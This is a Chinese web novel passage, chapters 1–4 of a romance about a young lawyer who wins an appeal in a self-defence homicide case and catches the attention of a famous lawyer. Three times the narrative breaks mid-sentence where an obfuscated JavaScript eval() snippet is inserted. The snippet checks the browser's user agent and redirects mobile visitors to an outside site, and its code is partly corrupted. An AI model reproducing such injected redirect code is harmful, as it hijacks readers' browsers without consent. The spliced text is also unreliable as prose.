《顾律师的恋爱协议》 1. chapter01 晚上十一点,楼上把地板砸得砰砰响的熊孩子已经消停了,房里显得异常安静,只有敲击键盘的哒哒声。 穿着睡衣扎着丸子头的稚言十指飞快地在键盘上敲着明天开庭的辩词,当然,这只是她的草稿,真正上了法庭很多事情都会出乎意料,作为一名律师,最重要的是随机应变。 就在她沉浸在辩词的构思上时,忽然身后传来开门的声音,她心里一怔,下意识回头。 谢芫捧着手机推门进来,“稚言!大新闻!” 看到谢芫,稚言松了一口气,“心脏病都快被你吓出来了。” 穿着睡袍的谢芫激动地跑过来,“是真的有大新闻!震惊我全家的大新闻!” 稚言问:“什么新闻?” 谢芫一屁股在稚言的床边坐下,亮出手机屏幕给她看,“我男神被人挂了!” 稚言:“……” 亏她以为是什么惊天动地的新闻。 谢芫一边划着手机一边说:“他竟然被前女友爆出来是个渣男!内容太劲爆了!你快看!” 稚言接过手机看了看,谢芫的口中的男神其实就是南城的知名律师顾禹谦,对方以出挑的样貌,超强的专业能力,高贵的气质成为南城律政圈话题度和追捧度最高的律师。 并且他还曾因为一段开庭视频被公开发在网络上而走红,被万千网友评为从小说里走出来的男主角。 如果硬要用一个形容词来形容他,那就是完美,因为所有人都找不出他不好的地方。就算有,也会被他完美无瑕的外表所掩盖。 而这一次被挂,帖子里不少网友纷纷表示幻灭,并对他盖上了渣男的印章。 稚言粗略看了看,发表帖子的人是顾禹谦的前女友,对方在帖子里控诉顾禹谦是个渣男,谈恋爱还要她签下恋爱协议,而这恋爱协议稚言仔细看了看,一共有三页纸,详细说明了和他谈恋爱期间的一些权利和义务。 例如作为他的恋人,不能在他工作期间打搅他,不能在工作日上班时间给他打电话,需要在协议签订一个月之内交换双方的体检报告。 在恋爱期间任意一方不得提出结婚,任意一方不能要求对方去见家长。 任何一方提出分手,另一方则要无条件执行。无论是哪一方提出分手,男方都需要向女方支付一百万的精神补偿,自提出分手之日起,应有三个月的缓冲期,缓冲期一过,任意一方不得以任何理由纠缠另一方等等。 下面网友留言也很激烈。 A:渣男!把女人当成什么了?玩完了甩一百万就了事!渣男去死! B:这那是恋爱,这是明晃晃的炮友协议吧! C:还说什么小说里走出来的男主角,睁开眼睛看一看,这个就是你们崇拜的男神,我呸! D:这女的也是贱,明显不平等的协议还签,活该! …… 谢芫道:“现在帖子里全是骂我家男神的,这下他的招牌要砸了,我们臻铭估计也要受牵连。” 顾禹谦除了是谢芫的男神,还是她的老板。顾禹谦是臻铭律师事务所的管理合伙人之一,当初谢芫进入臻铭律师事务所,很大一个原因是冲着顾禹谦去的。 稚言把手机还给她,“我觉得没什么大问题。” “为什么?” “协议是双方经过谈判和协商后共同签订并遵守的文件,既然他的前女友签了这份协议,那就是默认和他共同遵守协议里的规定,虽然协议里面有一些条件对于女方来说有点苛刻,但她觉得不能接受完全可以不签。现在是签了之后分手了,又觉得后悔,把协议挂了出来,给协议另一方造成了名誉侵害,她这么做非常缺乏契约精神。” 谢芫反应过来,拍了拍脑门,“我他妈刚刚光看网友们的留言,都忘了这个是一个愿打一个愿挨,脑子秀逗了!” 稚言想起协议的内容,笑了笑,“不过,他确实很渣。” “是的,我一直以为他很绅士,很体贴,没想到私底下这样的。” “不过他渣的明明白白,这等于在开始恋爱之前就告诉对方自己是个渣男,这样不是挺好的么,如果不能接受可以拒绝,不签这份协议,如果觉得能接受,那就签,并且协议里不是说任何一方提出分手另一方都必须执行么,也就是说即便签了后悔了还能随时止损,你再看看协议后面那条,任意一方提出分手,他都会给一百万精神损失费。这不比那些玩弄女方感情最后还拍拍屁股走人的渣男更人性化一点么?” 被稚言这么一分析,谢芫噗嗤一声笑了,“好像很有道理啊,这么一想,跟他签这份合约,根本没损失,他那么帅,几乎全南城的未婚女律师都肖想着他,跟他谈恋爱可以炫耀一辈子吧,而且分手后能得到一百万,那就成小富婆了。” 无论谁提分手都给一百万,稚言感慨道:“他真有钱。” “那是当然,他随便接一个案子,收费都是七位数的,也就是说,分一次手的钱,他接一个案子就赚回来了。” 稚言看了一眼电脑屏幕,辩词写了一半,都十一点半了,再不继续,她今晚别想睡了,“好了,我要准备明天的开庭资料,晚安。” 谢芫凑近了她的电脑屏幕看了一眼,“是最近闹得很大的那个杀人案吗?” “嗯。” “明天开庭?” “对。” “那等明天开完庭,晚上我们约饭,就去我之前跟你说的那家西餐厅。” “好。” 谢芫出去之后,稚言便看着电脑屏幕,继续构思辩词。 这件案子是她硕士毕业后第一次独立承办的案子,距离上一次她上庭,已经过去三年。 她本科毕业后工作过两年,后来才决定读研,今年六月份顺利毕业,拿到了法学硕士学位。 手上这件案子,当初接下来也是阴差阳错。 案子一审判决,被告因故意杀人罪名成立,被判十五年有期徒刑。但被告的母亲并不满意案子的判决,她坚信自己的儿子是见义勇为自卫杀人,并不是故意杀人,为了伸冤,她拉着横幅在法院门口跪了好几天,引来了不少媒体的关注,因此这件事闹得沸沸扬扬。 稚言去法院办事的时候,刚好撞见她跪在法院门口歇斯底里地哭诉,她上前了解情况之后,决定做被告方二审的辩护律师。 为了这件案子,她耗费了不少心血,过去这段时间往检察院和案发现场跑得特别勤快,明天就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392740|168615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是开庭的日子,她既紧张又期待。 —— 南城中级法院门口,不少媒体和网络大V在外面蹲点,都想要得到今天这一场官司的第一手消息。 原本这个案件在一审的时候并没有获得很高的关注度,但是一审判决下来后,被告人的母亲在法院门口闹了一场,引来了不少社会关注,于是这件案子的热度迅速飙升,不少网友都十分关心二审结果。 一辆黑色宾利在法院旁边的停车位停下,穿着西装,身材修长的男人从车上下来,他的皮肤在阳光下白皙透亮,一张精致的脸是女娲看了都觉得满意的作品。 他的出现,立即把附近蹲点的媒体和大V吸引了过来,一名记者问:“顾律师,请问你对今天开庭审理的‘张航杀人案’有什么看法?” “你觉得张航有可能会被判无罪吗?” “如果张航最终被判定为是见义勇为过失杀人,法院会怎么判?” 面对蜂拥而来的媒体,顾禹谦从容不迫,他丝毫没有乱了分寸,这样的情况他见的多了,早已经习惯。 跟在他身后的秘书赵泽赶忙挡在他前面,替他阻隔开媒体的推挤,“各位,请保持距离!” 等到媒体都被赵泽挡在一米开外,顾禹谦才开口,“各位问错人了,我并不是本案的辩护律师,对本案的情况并不了解。” 一个女记者扯着嗓门问:“顾律师,昨天论坛上一个自称你前女友的网友曝光了一份恋爱协议,请问这份恋爱协议是真实的吗?” 顾禹谦漫不经心道:“私人问题,不便回答。” 说完,他便绕开媒体,朝着法院门口走去。 赵泽拦了一会儿媒体之后,立马跟上了顾禹谦的脚步,今天他们来法院是有点事要办,没想到这也能被媒体围堵。 “老板,听说今天这件备受媒体关注的案子,辩护人是个今年刚研究生毕业的女律师。”赵泽跟在顾禹谦身后,边走边说。 顾禹谦用余光睨了他一眼,“怎么,你觉得我会有兴趣?” 赵泽温润地笑了一下,“您最近不是一直在物色助理律师么?” “你倒是提醒了我。”他确实一直在寻找合适自己的助理律师,并且还是熟悉刑法的,而今天开庭的这件案子刚好就是备受争议的刑事案件,他忽然来了兴致,顾禹谦改变了主意,“先去旁听庭审。” “好的,老板。” 张航杀人案今天早上九点开庭,此案件是公开审理,顾禹谦来到法庭旁听席时,已经开庭十几分钟。 本次案件旁听人员不少,旁听席入座率有九成。顾禹谦找了个最后的位子坐下,目光朝着辩护人席位看过去。 本案的被告辩护人是个年轻的女律师,她乌黑的头发一丝不苟地扎起马尾,脸上化了淡妆,整体形象和样貌不算特别出众,但五官很耐看,此时此刻她神情庄重地听着公诉人发言,有一种不可侵犯的气场。 顾禹谦还注意到了她的一个小动作,她的左手手腕戴着一串珠子,而她的右手正慢条斯理地摩挲着手上的珠子。 顾禹谦拿出手机,搜索了这个案子相关的新闻,看到了辩护律师的名字,稚言。 稚这个姓,倒是少见。 2. chapter02 法庭上,稚言看向被告人,“被告,你能否再次完整陈述案发当天所发生的事?” 被告席站着的是一名约摸二十岁的青年,他神情憔悴,下巴冒出了胡渣,他看着审判席说:“案发那天,我从打工的餐厅下班之后,开着电动车回家,路过吴胜家门口的时候,听到有一个女的在喊救命,我当时没想太多,就跑进了他们家院子,看到吴胜正揪着他老婆的头发在地上拖,我上去拉开他,吴胜连我一起打,在打架的过程中,他抄了一把铁锹,拼了命地打我,我随手抄起椅子,和他打了起来,后来椅子砸了他的头,他倒下了……” 稚言认真听完后,从容道:“也就是说,你闯入被害人的家中,初衷是想要救人,而和被害人打斗完全是出于自卫,是吗?” “没错。” 公诉人是一名四十岁左右的男人,他脸色严肃道:“审判长,我反对,辩护人这是在混淆视听,被告是因为和被害人的个人恩怨闯入被害人家中,将其杀死,但却谎称是见义勇为。” 稚言看向公诉人,“那么我请问公诉人,怎样才算是见义勇为?听到有人喊救命,上前去搭救,这算不算?” 公诉人道:“见义勇为是在他人的生命财产安全受到不法侵害时,积极主动与不法侵害实施者斗争的行为。但根据被害人妻子张慧的证词,当天她的丈夫并没有对她实施家暴。并且,根据一审证人提供的证词,张航在吴胜工厂里打工的时候,曾与吴胜发生不愉快并有过肢体冲突,张航因此在心里埋下仇恨的种子,这可以作为张航杀人的动机。” “公诉人,根据证词,张航和吴胜发生冲突是在一年前,我认为这并不能充分证明这是杀人动机。”稚言的语速不紧不慢,却铿锵有力,“并且,我有证据可以证明,张航闯入吴胜家中是见义勇为的行为。” 稚言看向审判席,“审判长,请允许我方证人许美婷上庭。” 审判长道:“请证人许美婷上庭。” 许美婷上了庭,站在证人席的她显然有些紧张,这还是她第一次上法庭。 稚言开始发问:“证人许美婷,我想请你如实回答我接下来问的问题。” 许美婷局促地点头,“好的。” “请问,你和被害人是什么关系?” 许美婷道:“我们家就在吴胜家隔壁,房子挨得很近。” 稚言继续道:“你认识被告吗?” 许美婷看了一眼张航,点头,“认识,我们同一个村的。” “那请你将7月5号晚上所见所闻叙述出来。” 此时,旁听席一个中年女人站了起来,大骂道:“天杀的!!许美婷一直在外面打工,一两个月不拢边,你们还喊她来作证!许美婷,你要是敢收黑钱做假证!帮杀人犯脱罪!我儿子死不瞑目!” 此时,安保人员立马将那一名中年女人按住,中年女人便是吴胜的母亲。 审判长敲了一下法槌,“肃静!旁听人员请保持安静,遵守法庭纪律!” 被吴母那么一说,许美婷脸色惨白,双手死死扣着,一时之间有所犹豫。 许美婷是吴胜的邻居,两家虽然不算关系特别好,但左邻右舍,平时还是有些来往的,此时看她的状态,似乎被吴母那句话吓得退缩了。 稚言道:“审判长,被害人家属刚才的言辞严重影响我方证人发表证词,我请求被害人家属回避。” 吴母道:“我不走!你们收黑钱想做假证!我儿子死不瞑目!” 吴母身边的两名法警将吴母强行带出了法庭,吴母朝着稚言大骂,“贱胚子!我诅咒你不得好死!” 等法庭安静下来,审判长道:“证人请继续发表证词。” 许美婷的脸色已然惨白,她开始后悔当初在稚言找到她的时候把真相说出来,早知道就不说了,不说的话她就跟这件案子扯不上关系,就不会被法院传来作证人。 但是她已经上了法庭,她来之前就听说过,如果做假证,是要坐牢的。 稚言看许美婷久久不发言,她引导道:“证人,请叙述7月5号晚上你的所见所闻。” 许美婷支吾,“我……我那天……那天……” 许美婷神情紧张,脑袋一片空白,根本不知道该从哪里说起。 稚言看出她的窘境,提议道:“或者,我来问,你来答。” “请问,7月5号晚上九点,你在哪里?” “我在A市,我和老公在那边打工。” “请问你是否在老家的院子里装了摄像头,并且可以即时聊天。” “没错,因为我女儿是我婆婆带着的,我为了经常能看到我女儿,在家里装了一个摄像头,只要打开软件就能和他们通话。” “那请问,7月5号晚上九点十二分,你打开软件后,听到什么看到什么?” “我打开软件之后,就听到有人在喊救命,还有小孩子的哭声,我吓到了,以为是我女儿遇到了危险,但是我在监控里没看到人,心里面很着急,就给我婆婆打了电话。”许美婷回忆起那天的情况,“给我婆婆打了电话之后,我才知道他们那天晚上出去了,不在家。” 听她说了出来,稚言松了一口气,她朝着审判席道:“审判长,由于证人安装的摄像头无法保存两个月前的记录,我方无法获取监控以及录音资料,证人刚才描述在九点十二分在监控里听到了呼救声,与案发时间相吻合,证人安装的摄像头距离被害人的家直线大概五米的距离,且周围除了他们两家,其他建筑物都相隔五十米以上,这足以证明,我的当事人当时确实是听到了呼救声,这才闯入被害人的院子里。既然我的当事人是听到呼救声赶过去,那就说明,我的当事人闯入院子的那一刻是本着见义勇为的目的去的。” 公诉人道:“审判长,我们根据被害人的妻子供述,她当时并没有被家暴,仅凭刚刚证人的证词,并不能完全证明是被害人的妻子呼救。我认为,证人许美婷听到的呼救声,很可能是被告闯入被害人家中行凶后引起的呼救。” “不是的!”张航极力否定,“我是听到她喊救命才冲进去的!” 稚言道:“审判长,我请求被害人的妻子张慧再次上庭作证。” 很快,张慧被安排上了证人席,她化了妆,看上去状态还不错。 稚言看着她,问道:“请问证人张慧,案发当天晚上九点十分左右,你的丈夫有对你进行家暴吗?” 张慧张了张嘴,“没有。” “那在张航闯入你家院子之前,你是否有呼救行为?” 张慧摇头,“没有。” “那她闯进去之后,你喊了救命没有?” “也没有。” 稚言再问:“那当时,你具体在什么地方,和什么人在一起?” “我和我老公在院子里。” “那是否听到了有人喊救命?” “没有。” 张慧回答的很利落,显然早就想好了。 稚言继续摩挲着手上的珠子,“那请问,你和你丈夫的关系怎么样?” 张慧咽了咽唾沫,“挺,挺好的。” “他是否经常或者曾经对你实施家暴?” 张慧犹豫了一下,“没有。” “根据医院的诊断资料显示,你案发当天身上多处淤青,头部流血,这是谁打的?” 张慧看了一眼张航,“是张航,他打我老公,我上去救他,也被打了。” “你说谎!”张航红着眼睛,歇斯底里道:“你说谎!明明是吴胜打的你!如果不是我,你就被打死了!” “肃静!”审判长敲了一下法槌。 稚言看着张慧,又道:“证人张慧,你确保你以上的证词准确无误,且符合事实吗?” 张慧下意识地抓了抓裤腿的边线,“是的。” 稚言说:“上一位证人说案发当晚从摄像头里听到了呼救声,而你却说自己至始至终没呼救,甚至没听到呼救声,证人,你真的确定吗。” 张慧心里一愣,她赶忙心虚地补充道:“我……我想起来了,我当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392741|168615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时在看电视剧,应该是电视剧里的女人在叫救命。” 稚言紧接着问:“那请你说出,你当时看得是那部电视剧,哪一集?” 张慧支吾道:“我,我不大记得了,随便找了个短视频看。” 稚言盯着张慧观察了一会儿,问道:“那请问证人张慧,那你刚刚说你的丈夫从来没对你家暴,是真的吗?” “是的。” “你确定吗?” “确定。” 旁听席的人都很认真地看着这一场法庭辩论,都十分投入。 顾禹谦的目光至始至终没离开过稚言,这个女律师面上看着并不强势,但是她的目光却十分坚定,目前看上去情况非常不利,但她其实在前面布置好了陷阱,让人一步一步地朝着她预设好的陷阱走,最后就是等到猎物全都进入了陷阱,她便收网一网打尽。 此时,稚言道:“审判长,我方有一份证据出示。” 此时,法庭旁边的一个屏幕上,播放了一段视频,这一段视频是交通摄像头拍下的,视频中的画面对着的是一条单车道马路,马路两边不少店铺,只见马路边有一对男女从一家店里出来,女人手里还推着婴儿车,男女不知道说了什么,忽然,男的抬起手对着女人的头就打了一下,女人大概是反驳了几句,男人又连续打了几下,末了还踢了一下她的膝盖,女人腿弯了一下,跪在了地上,男人还不停歇,对着女人的肚子踢了两脚,隔着屏幕都能看得出来男人下手一点也不轻。 看到这个画面,所有人都有些震惊。 张慧的脸色很难看,就算化了妆,也掩盖不住她脸上的惨白。 等视频播放完毕,稚言解释说:“我在了解被害人与其妻子的关系时,找到了一名目击证人,他曾亲眼目睹被害人吴胜对其妻子施暴,通过证人我们找到了当时施暴的地点,刚好有一个道路摄像头。视频里的时间是7月2号当天,也就是案发前三天,视频里的主人公便是被害人及其妻子张慧,刚才我多次跟证人张慧确定,她的丈夫是否经常或者曾经对她施暴,但她的答案是否认。但从视频可以看出,被害人吴胜当时确实是在对张慧施暴,也就是说,证人张慧的证词并不准确,审判长,合议庭,我认为证人张慧的证词,不应被采信。” 审判长和旁边的审判员交头接耳说了什么,而后说:“根据被告方提供的证据,确实可以证明证人张慧的证词存在矛盾,本庭决定不予采信。” 看了那段视频的张慧低着头,许久没出声,她的身体微微发着抖,那些恐怖的经历像是电影一样在她的脑海里回放,丈夫对她拳打脚踢的画面历历在目,很痛很痛,痛得无法呼吸。 某一瞬间,她心里的防线忽然就破了。 她双手捂着脸,哭了起来。 审判长道:“证人张慧,伪造证据,提供虚假证言,妨碍诉讼,是需要负刑事责任的,严重者需要判处三年以下有期徒刑。” 闻言,泣不成声的张慧找回一丝理智,她害怕坐牢,她不能坐牢,她哭腔道:“我,我儿子还小,才几个月大,需要人照顾,求你们,别让我坐牢。” 稚言看着哭花了妆的女人,她无意要揭开一个人的伤疤,可除此之外,她不知道该如何去拯救一个见义勇为却被诬陷的人。 审判长道:“证人张慧,如果你及时悔改,如实陈述案发经过,可以从宽处理。” “我说实话,我说实话就是了。”张慧用袖子抹了抹眼泪,吸了吸鼻子,哭腔道:“我和吴胜结婚前他还对我很好,但是结婚后,他就开始打我,那天晚上,他确实也打我了,她揪着我的头发打,我很痛,孩子也在哭,我就喊了救命,我没想到张航跑进来了,他揪开了吴胜,骂他孬种,吴胜气不过就跟他打了起来……” 稚言问:“那你为什么还要为一个经常家暴你的人做假证?” 张慧哽咽着,“我害怕,害怕被婆家知道,我老公是因为我被杀了的,我儿子那么小,我自己也没能力养他,要是被婆家赶了出去,那我以后的日子该怎么过……” 3. chapter03 庭审结束之后,稚言提着公文包离开法庭,今天和她一起上庭的还有一名实习律师,名叫林杨。 林杨手里拖着行李箱亦步亦趋地跟在稚言身后,“言姐,你刚刚在法庭上太飒了,我简直不敢相信这是你第一次上庭。” “我本来就不是第一次上庭。” “说错了,是你硕士毕业后第一次上庭,嘿嘿。”林杨说:“虽然咱们这个案子的代理费用不多,但是这一仗打得太爽了,拯救了一个被冤枉的人,这必须得载入史册啊。” 稚言听着林杨这个喇叭叭叭地吹着牛,来到法院门口,一大堆媒体记者涌了过来,媒体记者已经得到了消息,这个案子已经在法庭上得到了反转。 虽然没有当庭宣判,但目前的局势对张航非常有利,很有可能会被无罪释放。 记者围着稚言问:“稚律师,你认为张航这个案子被改判无罪的可能性有多大吗?” 稚言说:“我已经尽了最大的努力,判决是法院这边的工作,大家静候法院宣判的结果吧。” 又有人问:“稚律师,你为什么坚信张航是被冤枉的?请问你在接这个案子之前,是怎么判断他见义勇为的?” “接案子的时候,我并不确定,但任何案子都是由证据来认定被告是否有罪,我只相信证据。看到了证据后,我才决定替我的当事人做无罪辩护。” “对于这个案子,你有什么想说的吗?” 稚言道:“我相信法律,也相信正义,我希望见义勇为的人都能得到嘉奖和社会认可,而不是让见义勇为的人心寒。” 稚言接受完采访之后,便朝着停车场走去。 “稚小姐,你好。”一个好听的男音传来。 稚言朝着右手边看去,而后她微微一愣,很惊讶。 刚刚叫她的正是被称为南城金牌律师的顾禹谦,他身穿剪裁得体的法式西装,将他高挑的身材勾勒地宛如一幅艺术品,他的五官精致,皮肤甚至比大部分女人的皮肤都要好。 稚言倒也不是第一次见他,她曾经在现场听过他几场法庭辩论,在旁听席远远看着,非常佩服他在法庭上的应变能力。 近距离交流还是初次。 他竟然知道自己的名字? 这倒让她很意外。 稚言问:“顾律师刚刚是在跟我打招呼?” 顾禹谦来到稚言面前,“没错,稚小姐知道我姓顾,看来我也不用多自我介绍。” 稚言微微一笑,“顾律师盛名在外,我久仰大名。” “那不知道稚小姐赏不赏脸,一起喝杯咖啡。” 稚言有点受宠若惊,实在想不到顾禹谦找她喝咖啡是因为什么事,她试探性地问了一句,“顾律师找我喝咖啡总要有个理由?” “刚才听了稚小姐的庭辩,觉得很精彩,想和稚小姐认识认识罢了。” 南城最负盛名的律师想认识自己,稚言自然不会不识好歹,“那是我的荣幸,顾律师想去哪里的咖啡厅。” “附近就有一家不错的。” “好。” 顾禹谦看了一眼稚言旁边的林杨,那眼神就像是在告诉林杨,他有话单独要跟稚言说,外人不方便听。 可林杨偏偏就没看出人家的意思,心里还在雀跃,能跟南城最负盛名的律师一起喝咖啡,这也太幸运了。 稚言对旁边的林杨说:“小杨,你先回去,我晚点自己回去。” 林杨雀跃的心冷却了下来,他摸了摸鼻子,“好的,言姐。” 稚言跟着顾禹谦来到了法院附近的一家咖啡厅坐下,各自点了咖啡。 稚言坐在顾禹谦对面,对方实在长得好看,很养眼,难怪谢芫隔三差五就当着她的面花痴他。 想必在臻铭律师事务所,他还有不少像谢芫一样的小迷妹。 稚言听过他三场的法庭辩论,他的言行举止是任何人看了都会称赞绅士的,即便法庭上的被告和证人情绪多么激动,他都能临阵不乱,声音平静而有针对性地说出自己的辩词,一针见血,基本不会让对方律师或者公诉人有提出反对意见的机会。 这一点,稚言觉得自己望尘莫及。 “听说这是稚小姐第一次接刑事案件。”顾禹谦开口道。 对着顾禹谦,稚言倒也不必遮掩,“没错。” “辩论思路和逻辑都非常清晰,懂得最大化的利用手上的证据,让公诉人心服口服,有些从业多年的刑辩律师未必能做到稚小姐今天这样的状态。” 稚言很意外,硕士毕业后第一次上庭,没想到竟被称为金牌律师的顾禹谦夸奖了,她谦虚了一句,“过奖了。” “我从来不对一个人做出超出她实力范畴的夸奖。”顾禹谦唇角微微勾起,“我这是对你做出我个人认为合理的评价。” 稚言笑了笑,“谢谢。” 咖啡上来后,她拿起勺子在咖啡杯里搅了搅。她开始猜测顾禹谦约她喝咖啡的真实原因,对方主要接标的额上千万的民事案件和律师费高达七位数的刑事案件,今天的这起案子他根本不会感兴趣,毕竟张航的母亲出不起太多律师费,那他今天特意来听庭审,是为了什么? 并且,他刚刚还毫不吝啬地夸奖了她。 她实在想不通顾禹谦的目的。 稚言试探地问:“我想顾律师特意请我喝咖啡,应该不仅仅只是想跟我认识那么简单吧。” 顾禹谦抿了一口咖啡,放下了咖啡杯,道:“其实不瞒稚小姐,我最近正在物色能给自己分忧的助理律师,而我觉得稚小姐非常符合我的要求。” 对于他这个目的,稚言很意外,“能被顾律师认可我感到很高兴,不过我近期暂时没有跳槽的打算。” 拒绝得毫不拖泥带水。 顾禹谦也没想到对方拒绝得这么干脆,毕竟在他的字典里,拒绝向来是他对别人,而不是别人对他,他维持住自己的笑容,“稚小姐可以认真考虑考虑,我这边承接的案子律师费都不会低于七位数,稚小姐要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392742|168615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是愿意加入我的团队,得到的或许比现在多好几倍。” “谢谢顾律师的好意,但我近期确实没有跳槽的打算。” “那也没关系。”顾禹谦道:“像稚小姐这样优秀的律师,任何时候过来,我都欢迎。” 顾禹谦从西装暗袋取出了一张名片,递了出去,“这是我的名片,你可以随时联系我。” 稚言伸手接过名片,无意看到了他那只修长白皙的手,对方连手都那么好看,要是自己没男朋友,或许会像谢芫一样,成为他的小迷妹。 本以为就这么结束了,没想到顾禹谦又另外开了一个话题,“稚小姐有没有兴趣跟我聊聊刚刚的案子?” “你想聊哪方面的?” 顾禹谦说:“这件案子在一审之前警方和检方都已经有了完整的证据链,你是怎么找到突破口的?” 今天的这件案子是公开审理,并且已经引起了很大的社会关注度,跟同行讨论办案过程,并不算违反律师职业道德。 稚言如实说:“也算是运气好,我去许美婷家里了解情况的时候,许美婷的婆婆说案发当天他们都去了亲戚家吃酒,但我发现他们家安装了摄像头,虽然没对着吴胜的家,但是这种摄像头能够用手机客户端实现实时通话,并且随时可以播放回放,我就抱着碰运气的心态联系了许美婷。” “那这么说,二审提交的新证据,还是你亲力亲为的?” “确实亲自跑了不少地方,由于张航这件案子,公安局侦查的重心都放在了他和吴胜个人恩怨上,所以自然而然就会去找偏向于他报复杀人的证据,而忽略了去找他是否是见义勇为的证据。我想要证明他无罪,那就必须找出这方面的证据。” 顾禹谦看着她,“如果你找出的证据,确实能证明张航是报复杀人呢?” 稚言道:“那我会选择劝张航服从判决,在监狱里好好表现,争取减刑。” “那如果你坚信他是见义勇为,但却无法找出有力的证据,你会怎么处理?” 稚言仔细想了想,“虽有遗憾,但我不得不接受。我只是一个律师,我只负责尽全力为我的当事人争取他应得的权益,但我不是圣人,无法普渡众生。” 顾禹谦端起咖啡抿了一口,他的眉眼间携着浅浅的笑意,似乎对稚言的回答很满意,“你会是一名非常优秀的律师。” 只是他也有些遗憾,没想到对方竟然那么干脆地拒绝了他抛出的橄榄枝。 到底是为什么?他有点好奇。 “谢谢。” 顾禹谦的目光落在了她的左手手腕上,她穿着长袖西装外套,但仍旧无法遮掩她手上的那一串佛珠。现代的女性,很少会有把佛珠戴在手上的,毕竟跟着装不搭,除非有特殊意义。 “稚小姐信佛吗?” 稚言下意识摸了一下手上的佛珠,“怎么说好,信佛和喜欢佛学里面的一些观点,其实也算是两码事。” 顾禹谦轻笑一声,“稚小姐真有趣。” 4. chapter04 稚言和谢芫两人约了吃晚餐,在一家高档的西餐厅,位于南城大厦顶楼。 谢芫和稚言挑了一张桌子坐下,桌子靠着玻璃幕墙,能一边用餐一边观赏南城的夜景。 谢芫一坐下来就拿出手机对着四周的环境拍了几张照,但又怕被别人发现自己没见过世面,拍得十分拘谨。 拍了几张照后,谢芫小声对稚言说:“怎么样,这家店很高大上吧。” 稚言朝她示意手上的菜单,“价格也很高大上。” “没事,偶尔吃一次而已。”谢芫再朝着四周看了看,“我跟你说,我男神也经常来这里。” 谢芫所说的男神便是顾禹谦,以前经常听谢芫提起他,她倒也没怎么在乎,只当她在追星,但今天她刚跟顾禹谦喝过咖啡,也算初步认识了,就觉得虚拟世界的人走到了现实。 “你怎么知道他经常来,你跟踪他?” “我有个同事的发小,就是这家餐厅的经理,他说的。” 稚言继续翻着菜单,“点菜吧。” 两人点好了菜,谢芫拿出手机刷了刷微博,刷到了一条微博,她很激动,“我靠,稚言,你火了!” 稚言一头雾水,“什么火了?” “你看。”谢芫把手机屏幕转向她,“这个采访你的视频,转发上万了!” 稚言看了一眼,“嗯。” 对于稚言轻描淡写的反应,谢芫表示很失望,“小言言,你以后还是少看点佛学方面的书,我觉得你都快成佛了,你都这么火了,你竟然还这么淡定!” 稚言笑了笑,“那是因为我今天下午就看过这个视频,下午在办公室已经讨论过一轮了。” “好吧,让我来看看。”谢芫拿出耳机戴上,把稚言的采访看了一遍,看完后她道:“不错啊,这采访有点深度,根本看不出你这是第一次上庭。” “正确来说是第三次。”还有两次是在她本科毕业后,上研究生之前。 “那也很棒,不像我,明明工作五六年了,还没独立办过案子。” 谢芫毕业后进了一家公司做法务,做了四年,去年才转行进律所,“你才刚转行没多久,臻铭是个不错的律所,只要你肯努力,以后一定能成为一名优秀的律师。” “我知道自己几斤几两,我们律所有多卷你都不知道,个个都是大佬,我就只配给他们打杂。” 服务员上了菜,稚言看着盘子里的食物,不仅贵,还很迷你,她觉得吃完后估计还得再吃一顿宵夜才能保证晚上不会饿醒。 稚言刚拿起刀叉,一个女人踩着高跟鞋从她身边走过,留下一阵浓郁的香水味。 稚言并不是不喜欢香水味,而是这味道太浓了,她下意识抬头看了一眼,是一个穿着红色紧身裙的女人,女人找到了一张桌子坐下,手上的铂金包往旁边一放,再用手撩了一下披肩的波浪卷长发,耳边的钻石耳环也跟着晃了晃。 稚言想到了一个词,风情万种。 对面的谢芫小声说:“我跟你说,就刚走过去那个女人,她想潜规则我男神。” 稚言好奇,“怎么说?” “就前段时间嘛,她说想要跟我们合作,隔三差五就来我们律所,面上是说谈代理协议的问题,实际上就是想骚扰我男神。” 稚言想象了一下顾禹谦被女客户倒追的场景,“那成功了吗?” “当然没有,我男神又不缺钱,听说有一次酒会她故意借喝醉对他动手动脚,男神直接把她推开了,然后还说了一句话。” “说了什么?请自重?” “他说,抱歉,我有洁癖。”说完,谢芫捂着嘴笑了起来,“笑死我了。” 稚言也笑了笑,余光下意识扫过跟他们隔了十几米的女人,看样子她在等人。 但下一秒,稚言的脸色就变了,那个女人对面一个穿着西装的男人拖开椅子坐下,并朝着她笑了笑。 那个男人不是别人,正是她的男友,钟明贤。 今天下午,钟明贤给她发了消息,他原本计划和她一起吃晚饭,庆祝她第一次开庭成功,但无奈一个客户约了他,只能改期。 